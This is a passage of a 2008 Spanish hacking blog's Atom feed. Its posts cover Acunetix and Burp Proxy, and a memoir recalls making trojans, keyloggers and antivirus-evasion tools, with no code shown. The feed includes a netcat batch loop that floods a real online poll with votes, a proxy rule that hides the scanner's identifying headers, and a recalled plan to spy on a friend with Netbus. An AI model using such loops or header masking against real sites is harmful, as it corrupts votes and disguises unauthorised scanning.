¿Se podría automatizar todo esto para lograr un buen anonimato?&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2303866516781889090?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2303866516781889090/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/nuestros-queridos-amigos-los-routers.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2303866516781889090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2303866516781889090'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/nuestros-queridos-amigos-los-routers.html' title='Nuestros queridos amigos los routers'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/xyzthor/SQdviUHP54I/AAAAAAAAADk/m0rUG5me5WY/s72-c/fscan%20fallo_thumb%5B15%5D.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-4655572736619891729</id><published>2008-10-24T00:41:00.011+02:00</published><updated>2008-10-24T01:01:26.030+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Acunetix'/><title type='text'>Acunetix Web Vulnerability Scanner 6.0</title><content type='html'>Parece que aun no es pública la nueva versión pero ya es accesible desde su página web:
&lt;div style="text-align: center;"&gt;&lt;a href="http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner6.exe"&gt;Acunetix Web Vulnerability Scanner 6.0&lt;/a&gt;
&lt;a href="http://www.acunetix.com/vulnerability-scanner/wvs6manual.pdf"&gt;Manual de la versión 6.0&lt;/a&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;/div&gt;Sacado este mismo martes , vaya suerte tuve al probar a poner un 6 en vez de un 5 en la descarga :P
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_FGFE7zLOsQk/SQD_WymSFaI/AAAAAAAAACU/lRmmSovUl60/s1600-h/acunetix.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 160px;" src="http://4.bp.blogspot.com/_FGFE7zLOsQk/SQD_WymSFaI/AAAAAAAAACU/lRmmSovUl60/s400/acunetix.png" alt="" id="BLOGGER_PHOTO_ID_5260485131773285794" border="0" /&gt;&lt;/a&gt;Incorpora un pluging para firefox que pinta muy bien aunque por el momento tiene casi todo desactivado:
&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_FGFE7zLOsQk/SQD_dqJgPNI/AAAAAAAAACc/oLKKvxhI5nI/s1600-h/plugin1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 159px;" src="http://1.bp.blogspot.com/_FGFE7zLOsQk/SQD_dqJgPNI/AAAAAAAAACc/oLKKvxhI5nI/s400/plugin1.PNG" alt="" id="BLOGGER_PHOTO_ID_5260485249764179154" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_FGFE7zLOsQk/SQD_jn1sUHI/AAAAAAAAACk/LoppzV-ad5Q/s1600-h/plugin2.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 388px;" src="http://1.bp.blogspot.com/_FGFE7zLOsQk/SQD_jn1sUHI/AAAAAAAAACk/LoppzV-ad5Q/s400/plugin2.PNG" alt="" id="BLOGGER_PHOTO_ID_5260485352223428722" border="0" /&gt;&lt;/a&gt;Habrá que leerse el manual para ver que es lo nuevo que han añadido.

PD: En serio, no me pagan por hacer publicidad.
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-4655572736619891729?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/4655572736619891729/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/acunetix-web-vulnerability-scanner-60.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4655572736619891729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4655572736619891729'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/acunetix-web-vulnerability-scanner-60.html' title='Acunetix Web Vulnerability Scanner 6.0'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_FGFE7zLOsQk/SQD_WymSFaI/AAAAAAAAACU/lRmmSovUl60/s72-c/acunetix.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5852530773306849220</id><published>2008-10-22T21:57:00.007+02:00</published><updated>2008-10-24T00:56:48.938+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><title type='text'>Sin complicarse la vida</title><content type='html'>&lt;blockquote&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Estaba viendo una página de esas donde la gente vota. Esta vez era para seleccionar la ciudad de la cultura de no se que, otras veces es para elegir quien va a eurovision o para decidir si quieres que llueva en la casa del gran hermano y a veces para hacer sondeos "oficiales" de quien va a ganar las elecciones.

Esta genial para que la gente se entretenga un rato votando, interactuando con la fabulosa web.
Pero si de verdad toman los resultados de esas encuestas como validos vamos mal. La mayoría usan cookies para saber si has votado y dejan dar los votos que quieras desde una misma IP. Podrían dejar solo hacer un voto por IP, pero ¿y una botnet? o usar pseudo-CAPTCHAS, que cada vez son menos efectivos... Quizás usando el DNI electrónico podría asegurarse de que solo una persona realizara un solo voto xD

El caso es que quería darle unos cuantos votos a mi ciudad sin complicarme la vida y para ello que mejor que netcat.

Guardamos en un fichero la petición que se realiza al dar un voto:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_FGFE7zLOsQk/SP-IL_0x8hI/AAAAAAAAACA/U_utjiQMpaY/s1600-h/peticion.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_FGFE7zLOsQk/SP-IL_0x8hI/AAAAAAAAACA/U_utjiQMpaY/s400/peticion.png" alt="" id="BLOGGER_PHOTO_ID_5260072629484778002" border="0" /&gt;&lt;/a&gt;Y ya solo queda pasárselo a netcat...con un bucle infinito en super BATCH !!!!
&lt;blockquote  style="color: rgb(51, 51, 51);font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;:label
more peticion.txt | nc www.candidatecities.com 80
goto label&lt;/span&gt;&lt;/blockquote&gt;
Si, ale, ya sabéis la web en la que quería votar. Como curiosidad cuando lo he mirado había alguien realizando votos sin parar a Asturias, normal que valla primera :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5852530773306849220?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5852530773306849220/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/sin-complicarse-la-vida.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5852530773306849220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5852530773306849220'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/sin-complicarse-la-vida.html' title='Sin complicarse la vida'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_FGFE7zLOsQk/SP-IL_0x8hI/AAAAAAAAACA/U_utjiQMpaY/s72-c/peticion.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3244006826442801491</id><published>2008-10-18T19:05:00.002+02:00</published><updated>2008-10-24T01:03:23.932+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Acunetix'/><title type='text'>Acunetix sigue dando guerra</title><content type='html'>Cuando se usa la opción de crawler del acunetix lo primero que hace este es realizar dos peticiones a archivos inexistentes:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_FGFE7zLOsQk/SPoYkiZ031I/AAAAAAAAABw/ooQH5154JXM/s1600-h/firsthttp.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_FGFE7zLOsQk/SPoYkiZ031I/AAAAAAAAABw/ooQH5154JXM/s400/firsthttp.png" alt="" id="BLOGGER_PHOTO_ID_5258542530897960786" border="0" /&gt;&lt;/a&gt;¿Querrá ver cuales son las páginas de 404 not found que se muestran en dicho servidor web?
Ya que he quitado las otras cabeceras que enviaba habrá que modificar estas peticiones...

Con &lt;a href="http://portswigger.net/proxy/"&gt;Burp Proxy&lt;/a&gt; me ha resultado imposible, no le gusta modificar el GET /acunetix-wvs-test...

Lo he intentado con &lt;a href="http://www.proxomitron.info/"&gt;Proxomitron&lt;/a&gt;, pero su interfaz me ha asustado bastante :S

Así que ya desesperado he probado a buscar esas cadenas en el ejecutable del acunetix y voila ahi están:&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_FGFE7zLOsQk/SPoZoWouZdI/AAAAAAAAAB4/CPfJ_c7AdqA/s1600-h/acunetix.exe.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_FGFE7zLOsQk/SPoZoWouZdI/AAAAAAAAAB4/CPfJ_c7AdqA/s400/acunetix.exe.png" alt="" id="BLOGGER_PHOTO_ID_5258543695970330066" border="0" /&gt;&lt;/a&gt;Modificaría el ejecutable pero es ilegal, así que me limitaré a rezar para que se produzca una corrupción de datos en mi disco duro y se modifiquen esas dos cadenas :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3244006826442801491?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3244006826442801491/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/acunetix-sigue-dando-guerra.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3244006826442801491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3244006826442801491'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/acunetix-sigue-dando-guerra.html' title='Acunetix sigue dando guerra'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_FGFE7zLOsQk/SPoYkiZ031I/AAAAAAAAABw/ooQH5154JXM/s72-c/firsthttp.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5141103275256462110</id><published>2008-10-16T00:23:00.002+02:00</published><updated>2008-10-24T00:57:14.323+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Acunetix'/><title type='text'>Mi nuevo romance: Acunetix</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.acunetix.com/"&gt;Acunetix Vulnerability Scanner&lt;/a&gt; es un programa muy chulo, si.&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Permite "rastrear" un sitio web para obtener el árbol de ficheros y directorios.&lt;/li&gt;&lt;li&gt;Busca XSS, [Blind] SQL Injection y demás cosillas.&lt;/li&gt;&lt;li&gt;Sirve de sustituto de &lt;a href="http://www.edge-security.com/wfuzz.php"&gt;Wfuzz&lt;/a&gt;, otro programon.     &lt;blockquote&gt;Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc), bruteforce Forms parameters (User/Password), Fuzzing,etc. &lt;/blockquote&gt;   &lt;/li&gt;&lt;li&gt;Busca archivos de backup (~, bak, old, etc...), escanea un rango en busca de servidores webs, permite definir cookies, secuencias de login, páginas 404 predefinidas ... un monton de detalles.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Si quieres conocerlo mas a fondo o aprender a usarlo:
&lt;a href="http://www.acunetix.com/vulnerability-scanner/wvs5manual.pdf"&gt;Un manual de fácil lectura&lt;/a&gt;
&lt;a href="http://www.google.es/searchq=ext%3Apdf+site%3Aacunetix.com"&gt;Algunos pdfs más de su sitio&lt;/a&gt;

Si, esta chulo, peeeero en todas las peticiones que realiza envía unas cabeceras muy feas:
&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_FGFE7zLOsQk/SPZx1cSDFOI/AAAAAAAAABg/UfXZfR5kDM4/s1600-h/acunetix.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_FGFE7zLOsQk/SPZx1cSDFOI/AAAAAAAAABg/UfXZfR5kDM4/s400/acunetix.png" alt="" id="BLOGGER_PHOTO_ID_5257514777940530402" border="0" /&gt;&lt;/a&gt;
&lt;div style="text-align: justify;"&gt;Y es que este programa, excepto en la versión para consultores, esta pensado para escanear tu propio sitio web. Entre eso y que uso una versión gratuita, normal que envíe esos "avisitos".

No me gustan los avisitos &gt;:( Tengo un trauma infantil con ellos ! Así que probé a mirar el ejecutable del acunetix con un editor hexadecimal a ver si salían las malvadas cadenas sin suerte. Después me acordé de un proxy que me enseñó mi amigo Alex que permitía hacer de TODO con las peticiones HTTP, &lt;a href="http://portswigger.net/proxy/"&gt;Burp Proxy&lt;/a&gt;.

Burp Proxy, otra maravilla :D Tantas opciones abruman...
A lo que vamos, este programa permite definir una serie de valores que serán reemplazados en todas las peticiones realizadas, ummm justo lo que queremos con nuestras feas cabeceras.
&lt;span style="color: rgb(51, 51, 51);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;Proxy &gt; Options &gt; Match and replace &gt; Add request header | ^Acunetix.*$ |&lt;/span&gt;&lt;/span&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_FGFE7zLOsQk/SPZ0lSDA_PI/AAAAAAAAABo/iZiM0abYGKU/s1600-h/burp.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_FGFE7zLOsQk/SPZ0lSDA_PI/AAAAAAAAABo/iZiM0abYGKU/s400/burp.png" alt="" id="BLOGGER_PHOTO_ID_5257517798850100466" border="0" /&gt;&lt;/a&gt;Le decimos al acunetix que use como ProxyHTTP a este otro programita, 127.0.0.1:8080, y listo. Nuestro problema con las cabeceras queda &lt;span style="font-weight: bold;"&gt;solucionado&lt;/span&gt; por los siglos de los siglos.

PD: En la página del Burp Proxy anuncian un libro: &lt;a href="http://portswigger.net/wahh/"&gt;The Web Application Hacker's Handbook&lt;/a&gt;, tiene la palabra HACKER en el título!!! mamaaaa!!! seguro que es bueniiisimmooo, vamos a comprarle !!!
&lt;a href="http://www.google.es/search?q=Rapidshare.*%2Ffiles%2F+%22The+Web+Application+Hacker%27s+Handbook%22"&gt;Busquemos en google su precio&lt;/a&gt;, ¿que es eso de rapidshare?, ¿una nueva red social?, ¿y esa descarga?, ¿sera un pdf de muestra de lo que contiene el libro original? Veamos...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5141103275256462110?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5141103275256462110/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/mi-nuevo-romance-acunetix.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5141103275256462110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5141103275256462110'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/mi-nuevo-romance-acunetix.html' title='Mi nuevo romance: Acunetix'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_FGFE7zLOsQk/SPZx1cSDFOI/AAAAAAAAABg/UfXZfR5kDM4/s72-c/acunetix.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-4833227776478820156</id><published>2008-10-01T22:56:00.000+02:00</published><updated>2008-10-02T00:16:47.264+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='indetectables.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Historia sagrada'/><title type='text'>Cómo fue el comienzo, Episodio II</title><content type='html'>&lt;div style="text-align: justify;"&gt;Transcurría el tiempo y poco a poco me iba picando eso de los troyanos.
Se podían esconder en otros ejecutables, había algunos que se saltaban los firewalls, se podían buscar las firmas que les habían puesto los antivirus para modificarlas y lograr que no lo detectasen.

Ahora me suena bastante mal todo esto, aparte de no ser complicado, eran cosas que como último fin tenían conseguir infectar a otra persona para espiarla. Dios nos pille confesados !!

Por el foro, que ya iba pasando de &lt;a href="http://www.indetectables.com.ar/"&gt;dominio&lt;/a&gt; en &lt;a href="http://www.indetectables.net/"&gt;dominio&lt;/a&gt;, me encontré un manual de Sr Sombrero que explicaba como crear un troyano básico en delphi. Jur, hacer un troyano estaba ahí, al alcance de cualquiera, así que me puse a leer cosas sobre Pascal/Delphi.

Poco a poco fui viendo que no era para tanto, que programar no era algo mágico, que tenía hasta su lógica. Y fui animándome a hacer algunos programas. El primero que recuerdo fue &lt;a href="http://thor.webcindario.com/McFake/mcfake.jpg"&gt;McFake&lt;/a&gt; un killer de McAfee que lo sustituía con el objetivo de que el supuesto infectado no se daría cuenta de que su McAfee había sido aniquilado :|

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_FGFE7zLOsQk/SOPqeuXYR8I/AAAAAAAAAAs/FhWHyTa66kg/s1600-h/Iklogger0.1.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_FGFE7zLOsQk/SOPqeuXYR8I/AAAAAAAAAAs/FhWHyTa66kg/s200/Iklogger0.1.gif" alt="" id="BLOGGER_PHOTO_ID_5252299404007196610" border="0" /&gt;&lt;/a&gt;Mas tarde entre Sr Sombrero y yo hicimos un keylogger, el &lt;a href="http://foro.elhacker.net/analisis_y_diseno_de_malware/iklogger_01_keylogger_hecho_por_sr_sombrero_y_thor-t139441.0.html"&gt;IKlogger&lt;/a&gt;.

Era bonito y tenía opciones curiosas como esa de capturar clicks, que tan mala finalidad se le podía dar :P

Debido a la necesidad de agilizar la búsqueda de firmas en los ejecutables detectados por los antivirus, creé &lt;a href="http://thor.webcindario.com/SZ/SZCAP01.JPG"&gt;Signature Zero&lt;/a&gt;. Permitía trabajar mas visualmente que usando un editor hexadecimal.

Después  me puse a hacer todo tipo de malware :S
&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;a href="http://img366.imageshack.us/img366/4268/redbinder20rz4.png"&gt;RedbindeR&lt;/a&gt;: un binder muy completo :P&lt;/li&gt;&lt;li&gt;&lt;a href="http://img474.imageshack.us/img474/287/apofis2wd9.jpg"&gt;Apofis&lt;/a&gt;: un troyano controlado con un navegador :)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.megasecurity.org/trojans/v/vodka/ImagesP/Vodkadownloader.gif"&gt;Vodka Downloader&lt;/a&gt;: un downloader mas. &lt;/li&gt;&lt;li&gt;&lt;a href="http://pandalabs.pandasecurity.com/blogs/images/PandaLabs/2008/02/27/01.KIMS.JPG"&gt;KIMS&lt;/a&gt;: un multiescaner de antivirus, &lt;span style="font-style: italic;"&gt;Escanea un archivo con 22 antivirus en tu ordenador&lt;/span&gt;. Salió en los blogs de &lt;a href="http://pandalabs.pandasecurity.com/archive/Multi-AVs-Scanners.aspx"&gt;panda&lt;/a&gt; y de &lt;a href="http://blog.hispasec.com/virustotal/28"&gt;hispasec&lt;/a&gt; :S&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Entre tanto  en el foro de&lt;a href="http://www.indetectables.net/foro/"&gt; indetectables.net&lt;/a&gt; prosperó, como no suele ser común, una propuesta para realizar un troyano entre todos. Como en todo este tipo de "proyectos", en lo que mas se tardó fue en elegir el nombre, &lt;a href="http://www.indetectables.net/foro/viewforum.php?f=20"&gt;Coolvibes&lt;/a&gt;, como el fundador desaparecido de la página :D.
Sorprendentemente la iniciativa siguió adelante y tras unas 40 versiones/actualizaciones ha salido hace un mes de la mano de Unknown la &lt;a href="http://www.indetectables.net/foro/viewtopic.php?f=20&amp;amp;t=3863"&gt;versión 0.5&lt;/a&gt; con inyección dll y un montón de posibilidades que lleva a sus espaldas.

Por último a principios de este año realicé junto a Psymera el &lt;a href="http://foro.elhacker.net/seguridad/sacacorchos_10_detectorextractor_de_configuracion_para_troyanos-t192611.0.html"&gt;Sacacorchos&lt;/a&gt;, una herramienta para extraer la configuración de los troyanos mas conocidos. El objetivo es que si te intentan infectar o descubres que estan infectado con uno de estos troyanos conocidos poder sacar de forma sencilla la configuración de este (IP a la que se conecta, claves de registro, etc...)

Y de ahí hasta hoy no he hecho absolutamente nada, mas que ver porno.

Ahora toca hacer el resto de malware que no hice, ¿encriptadores de ejecutables?, ¿técnicas de inyección?, ¿rootkiting?, no se, no se, suena todo muy complicado.


Si es que esto de los troyanos al final va a ser algo mas que bajarse un manual sobre como configurar el bifrost, ¿no?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-4833227776478820156?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/4833227776478820156/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/cmo-fue-el-comienzo-episodio-ii.html#comment-form' title='9 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4833227776478820156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4833227776478820156'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/10/cmo-fue-el-comienzo-episodio-ii.html' title='Cómo fue el comienzo, Episodio II'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_FGFE7zLOsQk/SOPqeuXYR8I/AAAAAAAAAAs/FhWHyTa66kg/s72-c/Iklogger0.1.gif' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-305255139844776186</id><published>2008-09-28T23:43:00.000+02:00</published><updated>2008-10-02T00:16:29.602+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='indetectables.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Historia sagrada'/><title type='text'>Cómo fue el comienzo, Episodio I</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_FGFE7zLOsQk/SOAIpbEOh6I/AAAAAAAAAAc/_KwRzq8cdoE/s1600-h/netbus17.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://2.bp.blogspot.com/_FGFE7zLOsQk/SOAIpbEOh6I/AAAAAAAAAAc/_KwRzq8cdoE/s200/netbus17.gif" alt="" id="BLOGGER_PHOTO_ID_5251206673247143842" border="0" /&gt;&lt;/a&gt;
&lt;div style="text-align: justify;"&gt;Todo empezó hace unos 6 años. Un amigo me dijo que tenía un troyano y era fácil usarlo. Se trataba del netbus 1.7. Eso era increíble, ejecutando un programa ("el server") en un ordenador, este quedaba infectado y te podías conectar desde el cliente del netbus y abrirle el cd, EL CD !!! Ver lo que escribía, bajar o subirle archivos, ver su pantalla, control total de su ordenador.
Y salió la vena vouyera de unos jovenes en celo, había que usarlo con alguna amiga y saber lo que escribe sobre nosotros..."quizás habla de guarradas con otras amigas o tiene fotos en bolas !!".

Es entonces cuando empezamos a buscar en google como evitar que el antivirus eliminara el troyano al enviarselo, como juntar el troyano con un archivo para no levantar sospechas, etc... Entonces encontramos "la página", el título lo decía todo "TROYANOS INDETECTABLES". Se trata de &lt;a href="http://www.troyanos.tk/"&gt;www.troyanos.tk&lt;/a&gt; que sorprendentemente aun funciona.
Allí había varios manuales que explicaban como modificar un troyano para que el antivirus no lo detectase, los primeros troyanos de conexión inversa, explicaciones detalladas de todo lo relaccionado con los troyanos y muy bien redactado. A parte de la página había un foro de lo mas anárquico donde la gente posteaba nuevos troyanos, los offsets que detectaba un antivirus para cierto troyano, nuevas técnicas, etc...

Teníamos información para un buen rato, así que tocaba ir leyendo y probando todas esas cosas.

Pasó un año, sería sobre el 2003-2004 cuando Coolvibes, administrador de troyanos.tk, decidió cambiar el foro y creó &lt;a href="http://www.indetectables.tk/"&gt;www.indetectables.tk&lt;/a&gt;. Era un foro mas ordenado, como los de hoy en día ,con secciones y tal. Al rato cerró las inscripciones quedándonos dentro unas 200 personas. Y poco a poco eso se fue convirtiendo en una especie de foro privado, con información interesante, herramientas poco conocidas y con gente de mucho nivel (Coolvibes, Sr Sombrero, _Q_, Chakal, incluso el admin de la legendaria web &lt;a href="http://caspa.da.ru/"&gt;caspa.da.ru&lt;/a&gt;). Y sin tener ni idea allí estábamos yo y mi colega, flipando con la de cosas que sabía esa gente.

Siguió pasando el tiempo y mi colega fue descolgándose del tema, yo seguí leyendo de vez en cuando ese foro, intentando entender algo de lo que decían y conociendo a unas personas maravillosas.

To be continued...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-305255139844776186?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/305255139844776186/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/09/cmo-fue-el-comienzo-episodio-i.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/305255139844776186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/305255139844776186'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2008/09/cmo-fue-el-comienzo-episodio-i.html' title='Cómo fue el comienzo, Episodio I'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_FGFE7zLOsQk/SOAIpbEOh6I/AAAAAAAAAAc/_KwRzq8cdoE/s72-c/netbus17.gif' height='72' 